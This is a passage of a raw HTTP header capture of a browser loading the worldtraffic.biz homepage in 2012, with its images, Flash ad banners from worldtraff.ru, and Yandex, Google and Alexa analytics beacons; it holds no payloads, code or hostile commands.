Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
If-Modified-Since: Wed, 19 Sep 2012 11:51:40 GMT
HTTP/1.1 200 OK

Content-Type: text/javascript
Content-Length: 14888
Content-Encoding: gzip
Last-Modified: Mon, 22 Oct 2012 15:51:19 GMT
X-Content-Type-Options: nosniff, nosniff
Date: Tue, 06 Nov 2012 13:08:53 GMT
Expires: Wed, 07 Nov 2012 01:08:53 GMT
Vary: Accept-Encoding
Age: 2029
Cache-Control: max-age=43200, public
Server: GFE/2.0
GET /images/3.jpg HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/jpeg
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 34158
Connection: keep-alive
Last-Modified: Sun, 19 Aug 2012 13:15:11 GMT
Accept-Ranges: bytes
GET /images/4.jpg HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/jpeg
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 38944
Connection: keep-alive
Last-Modified: Sun, 19 Aug 2012 13:15:16 GMT
Accept-Ranges: bytes
GET /images/2.jpg HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/jpeg
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 44784
Connection: keep-alive
Last-Modified: Sun, 19 Aug 2012 13:15:07 GMT
Accept-Ranges: bytes
GET /images/1.jpg HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/jpeg
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 80073
Connection: keep-alive
Last-Modified: Sun, 19 Aug 2012 13:14:47 GMT
Accept-Ranges: bytes
GET /images/footer.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/styles/main.css
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 39751
Connection: keep-alive
Last-Modified: Sat, 18 Aug 2012 17:03:12 GMT
Accept-Ranges: bytes
GET /hit?t12.6;r;s1176*885*24;uhttp%3A//worldtraffic.biz/home.html%3Flang%3Den;0.8496148720475003 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 302 Moved Temporarily

Content-Type: text/html
Date: Tue, 06 Nov 2012 13:42:42 GMT
Server: 0W/0.8c
Location: http://counter.yadro.ru/hit?q;t12.6;r;s1176*885*24;uhttp%3A//worldtraffic.biz/home.html%3Flang%3Den;0.8496148720475003
Content-Length: 32
Expires: Sun, 06 Nov 2011 20:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: FTID=1GcHFI2z1vH2; path=/; expires=Tue, 05 Nov 2013 20:00:00 GMT; domain=.yadro.ru
GET /metrika/watch.js HTTP/1.1

Host: mc.yandex.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Date: Tue, 06 Nov 2012 13:42:42 GMT
Server: Phantom/0.0.0
P3P: CP=&quot;NOI DEVa TAIa OUR BUS UNI STA&quot;
Last-Modified: Fri, 19 Oct 2012 12:23:05 GMT
Content-Encoding: gzip
Expires: Tue, 06 Nov 2012 14:42:42 GMT
Content-Length: 15878
GET /__utm.gif?utmwv=5.3.7&utms=1&utmn=919970911&utmhn=worldtraffic.biz&utmcs=UTF-8&utmsr=1176x885&utmvp=10x10&utmsc=24-bit&utmul=en-us&utmje=1&utmfl=10.0%20r45&utmdt=World%20Traffic%20Network&utmhid=1109742468&utmr=-&utmp=%2Fhome.html%3Flang%3Den&utmac=UA-33874276-1&utmcc=__utma%3D214086161.1947636472.1352209363.1352209363.1352209363.1%3B%2B__utmz%3D214086161.1352209363.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&utmu=q~ HTTP/1.1

Host: www.google-analytics.com
GET /__utm.gif?utmwv=5.3.7&amp;utms=1&amp;utmn=919970911&amp;utmhn=worldtraffic.biz&amp;utmcs=UTF-8&amp;utmsr=1176x885&amp;utmvp=10x10&amp;utmsc=24-bit&amp;utmul=en-us&amp;utmje=1&amp;utmfl=10.0%20r45&amp;utmdt=World%20Traffic%20Network&amp;utmhid=1109742468&amp;utmr=-&amp;utmp=%2Fhome.html%3Flang%3Den&amp;utmac=UA-33874276-1&amp;utmcc=__utma%3D214086161.1947636472.1352209363.1352209363.1352209363.1%3B%2B__utmz%3D214086161.1352209363.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)%3B&amp;utmu=q~ HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Thu, 01 Nov 2012 01:24:16 GMT
Content-Length: 35
X-Content-Type-Options: nosniff
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 476306
Server: GFE/2.0
GET /images/slider.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/styles/main.css
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 129458
Connection: keep-alive
Last-Modified: Sat, 18 Aug 2012 17:04:12 GMT
Accept-Ranges: bytes
GET /watch/16261183?rn=96327&wmode=5&callback=_ymjsp207127&page-url=http%3A%2F%2Fworldtraffic.biz%2Fhome.html%3Flang%3Den&browser-info=j:1:s:1176x885x24:f:10.0.45:w:10x10:z:60:i:20121106144243:en:utf-8:v:1825:c:1:la:en-us:hid:852501288:wn:64304:hl:1:t:World%20Traffic%20Network HTTP/1.1

Host: mc.yandex.ru
GET /watch/16261183?rn=96327&amp;wmode=5&amp;callback=_ymjsp207127&amp;page-url=http%3A%2F%2Fworldtraffic.biz%2Fhome.html%3Flang%3Den&amp;browser-info=j:1:s:1176x885x24:f:10.0.45:w:10x10:z:60:i:20121106144243:en:utf-8:v:1825:c:1:la:en-us:hid:852501288:wn:64304:hl:1:t:World%20Traffic%20Network HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 302 Found

HTTP/1.1 302 Found
Date: Tue, 06 Nov 2012 13:42:43 GMT
Server: Phantom/0.0.0
P3P: CP=&quot;NOI DEVa TAIa OUR BUS UNI STA&quot;
Last-Modified: Tue, 06 Nov 2012 13:42:43 GMT
Expires: Tue, 06 Nov 2012 13:42:43 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Location: http://mc.yandex.ru/watch/16261183/1?rn=96327&amp;wmode=5&amp;callback=_ymjsp207127&amp;page-url=http%3A%2F%2Fworldtraffic.biz%2Fhome.html%3Flang%3Den&amp;browser-info=j:1:s:1176x885x24:f:10.0.45:w:10x10:z:60:i:20121106144243:en:utf-8:v:1825:c:1:la:en-us:hid:852501288:wn:64304:hl:1:t:World%20Traffic%20Network
Set-Cookie: yandexuid=1514510801352209363; domain=.yandex.ru; path=/; expires=Fri, 04-Nov-2022 13:42:43 GMT yabs-sid=2666404871352209363; path=/
Content-Length: 0
GET /images/large.swf?big=http%3A//worldtraff.ru/images/peeldown/b1_1347049385.jpg&ad_url=http%3A//worldtraff.ru/click/peeldown.php%3Fsid%3D1%26id%3D30%26hash%3D32d3e5cf0b48edac09f4962e76105405 HTTP/1.1

Host: worldtraff.ru
GET /images/large.swf?big=http%3A//worldtraff.ru/images/peeldown/b1_1347049385.jpg&amp;ad_url=http%3A//worldtraff.ru/click/peeldown.php%3Fsid%3D1%26id%3D30%26hash%3D32d3e5cf0b48edac09f4962e76105405 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: application/x-shockwave-flash
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:43 GMT
Content-Length: 4124
Connection: keep-alive
Last-Modified: Mon, 06 Aug 2012 00:20:41 GMT
Accept-Ranges: bytes
GET /hit?q;t12.6;r;s1176*885*24;uhttp%3A//worldtraffic.biz/home.html%3Flang%3Den;0.8496148720475003 HTTP/1.1

Host: counter.yadro.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: FTID=1GcHFI2z1vH2
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 13:42:43 GMT
Server: 0W/0.8c
Connection: Close
Content-Length: 841
Expires: Sun, 06 Nov 2011 20:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache
P3P: policyref=&quot;/w3c/p3p.xml&quot;, CP=&quot;UNI&quot;
Set-Cookie: VID=3LKfn22KiHn2; path=/; expires=Tue, 05 Nov 2013 20:00:00 GMT; domain=.yadro.ru
GET /favicon.ico HTTP/1.1

Host: www.camping-schoenengrund.ch

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 404 Not Found

Content-Type: text/html; charset=iso-8859-1
Date: Tue, 06 Nov 2012 13:42:43 GMT
Server: Apache/2
Content-Length: 209
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
GET /images/small.swf?ico=http%3A//worldtraff.ru/images/peeldown/s7_1347049385.jpg HTTP/1.1

Host: worldtraff.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: application/x-shockwave-flash
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:43 GMT
Content-Length: 7300
Connection: keep-alive
Last-Modified: Mon, 06 Aug 2012 00:20:41 GMT
Accept-Ranges: bytes
GET /watch/16261183/1?rn=96327&wmode=5&callback=_ymjsp207127&page-url=http%3A%2F%2Fworldtraffic.biz%2Fhome.html%3Flang%3Den&browser-info=j:1:s:1176x885x24:f:10.0.45:w:10x10:z:60:i:20121106144243:en:utf-8:v:1825:c:1:la:en-us:hid:852501288:wn:64304:hl:1:t:World%20Traffic%20Network HTTP/1.1

Host: mc.yandex.ru
GET /watch/16261183/1?rn=96327&amp;wmode=5&amp;callback=_ymjsp207127&amp;page-url=http%3A%2F%2Fworldtraffic.biz%2Fhome.html%3Flang%3Den&amp;browser-info=j:1:s:1176x885x24:f:10.0.45:w:10x10:z:60:i:20121106144243:en:utf-8:v:1825:c:1:la:en-us:hid:852501288:wn:64304:hl:1:t:World%20Traffic%20Network HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: yandexuid=1514510801352209363; yabs-sid=2666404871352209363
HTTP/1.1 200 OK

Content-Type: text/javascript
Date: Tue, 06 Nov 2012 13:42:43 GMT
Server: Phantom/0.0.0
P3P: CP=&quot;NOI DEVa TAIa OUR BUS UNI STA&quot;
Last-Modified: Tue, 06 Nov 2012 13:42:43 GMT
Expires: Tue, 06 Nov 2012 13:42:43 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Content-Length: 74
GET /images/header_bg.png HTTP/1.1

Host: worldtraffic.biz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/styles/main.css
Cookie: PHPSESSID=4b5b9tlpo1hbltc6eqgtk25cp5
HTTP/1.1 200 OK

Content-Type: image/png
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:42 GMT
Content-Length: 337786
Connection: keep-alive
Last-Modified: Sat, 18 Aug 2012 17:03:25 GMT
Accept-Ranges: bytes
GET /share/static/b-share-icon.png HTTP/1.1

Host: yandex.st

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
HTTP/1.1 200 OK

Content-Type: image/png
Expires: Thu, 15 Sep 2022 13:42:43 GMT
Cache-Control: max-age=311040000
Accept-Ranges: bytes
Etag: &quot;52118894&quot;
Last-Modified: Fri, 05 Oct 2012 09:49:41 GMT
Content-Length: 12931
Date: Tue, 06 Nov 2012 13:42:43 GMT
Server: lighttpd/1.4.26
GET /get/flashplayer/update/current/xml/version_en_win_pl.xml HTTP/1.1

Host: fpdownload2.macromedia.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: text/xml
Server: Apache
Last-Modified: Wed, 03 Oct 2012 19:48:11 GMT
Etag: &quot;289dff-26c-4cb2ceb2654c0&quot;
Accept-Ranges: bytes
Content-Length: 620
Date: Tue, 06 Nov 2012 13:42:44 GMT
Connection: keep-alive
GET /images/peeldown/s7_1347049385.jpg HTTP/1.1

Host: worldtraff.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: image/jpeg
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:44 GMT
Content-Length: 3464
Connection: keep-alive
Last-Modified: Fri, 07 Sep 2012 20:23:05 GMT
Accept-Ranges: bytes
GET /images/peeldown/b1_1347049385.jpg HTTP/1.1

Host: worldtraff.ru

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: image/jpeg
Server: nginx/1.2.4
Date: Tue, 06 Nov 2012 13:42:44 GMT
Content-Length: 56444
Connection: keep-alive
Last-Modified: Fri, 07 Sep 2012 20:23:05 GMT
Accept-Ranges: bytes
GET /watch/16261183?rn=290716&browser-info=j:1:s:1176x885x24:f:10.0.45:w:10x10:z:60:i:20121106144258:en:utf-8:v:1825:c:1:la:en-us:ar:1:nb:1:cl:262:hid:852501288:wn:64304:hl:1 HTTP/1.1

Host: mc.yandex.ru
GET /watch/16261183?rn=290716&amp;browser-info=j:1:s:1176x885x24:f:10.0.45:w:10x10:z:60:i:20121106144258:en:utf-8:v:1825:c:1:la:en-us:ar:1:nb:1:cl:262:hid:852501288:wn:64304:hl:1 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Cookie: yandexuid=1514510801352209363; yabs-sid=2666404871352209363
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 13:42:58 GMT
Server: Phantom/0.0.0
P3P: CP=&quot;NOI DEVa TAIa OUR BUS UNI STA&quot;
Last-Modified: Tue, 06 Nov 2012 13:42:58 GMT
Expires: Tue, 06 Nov 2012 13:42:58 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Content-Length: 43
POST /webvisor/16261183?rn=74966&wv-type=0&cnt-class=0&page-url=http%3A%2F%2Fworldtraffic.biz%2Fhome.html%3Flang%3Den&wmode=0&wv-hit=852501288&wv-part=1&wv-check=52795&browser-info=ct%3A1%3Az%3A60%3Ai%3A20121106144243 HTTP/1.1

Host: mc.yandex.ru
POST /webvisor/16261183?rn=74966&amp;wv-type=0&amp;cnt-class=0&amp;page-url=http%3A%2F%2Fworldtraffic.biz%2Fhome.html%3Flang%3Den&amp;wmode=0&amp;wv-hit=852501288&amp;wv-part=1&amp;wv-check=52795&amp;browser-info=ct%3A1%3Az%3A60%3Ai%3A20121106144243 HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en
Content-Length: 20
Content-Type: text/plain; charset=UTF-8
Origin: http://worldtraffic.biz
Cookie: yandexuid=1514510801352209363; yabs-sid=2666404871352209363
Pragma: no-cache
Cache-Control: no-cache
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Tue, 06 Nov 2012 13:42:58 GMT
Server: Phantom/0.0.0
P3P: CP=&quot;NOI DEVa TAIa OUR BUS UNI STA&quot;
Last-Modified: Tue, 06 Nov 2012 13:42:58 GMT
Expires: Tue, 06 Nov 2012 13:42:58 GMT
Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0
Pragma: no-cache
Access-Control-Allow-Origin: http://worldtraffic.biz
Access-Control-Allow-Credentials: true
Content-Length: 43
GET /site_stats/gif/s/a/d29ybGR0cmFmZmljLmJpeg==/s.gif HTTP/1.1

Host: xsltcache.alexa.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://worldtraffic.biz/home.html?lang=en